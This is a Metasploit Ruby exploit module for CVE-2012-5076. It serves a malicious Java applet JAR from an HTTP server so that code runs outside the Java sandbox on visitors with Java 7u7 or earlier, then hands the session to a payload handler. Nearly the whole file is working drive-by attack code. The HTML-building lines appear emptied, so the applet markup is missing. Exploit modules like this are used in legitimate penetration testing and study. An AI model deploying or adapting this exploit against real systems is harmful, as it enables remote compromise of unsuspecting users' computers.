## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Java Applet JAX-WS Remote Code Execution', 'Description' => %q{ This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in November of 2012. The vulnerability affects Java version 7u7 and earlier. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability Discovery 'juan vazquez' # metasploit module ], 'References' => [ [ 'CVE', '2012-5076' ], [ 'OSVDB', '86363' ], [ 'BID', '56054' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ], [ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ], [ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2012/11/15/a-technical-analysis-on-new-java-vulnerability-cve-2012-5076.aspx' ] ], 'Platform' => %w{ java win }, 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Arch' => ARCH_JAVA, } ], [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 16 2012' )) end def on_request_uri( cli, request ) if not request.uri.match(/\.jar$/i) if not request.uri.match(/\/$/) send_redirect(cli, get_resource() + '/', '') return end print_status("#{self.name} handling request") send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } ) return end paths = [ [ "Exploit.class" ], [ "MyPayload.class" ] ] p = regenerate_payload(cli) jar = p.encoded_jar paths.each do |path| 1.upto(path.length - 1) do |idx| full = path[0,idx].join("/") + "/" if !(jar.entries.map{|e|e.name}.include?(full)) jar.add_file(full, '') end end fd = File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2012-5076", path ), "rb") data = fd.read(fd.stat.size) jar.add_file(path.join("/"), data) fd.close end print_status("Sending Applet.jar") send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } ) handler( cli ) end def generate_html jar_name = rand_text_alpha(rand(6)+3) + ".jar" html = "" html += "" html += "" html += "" return html end end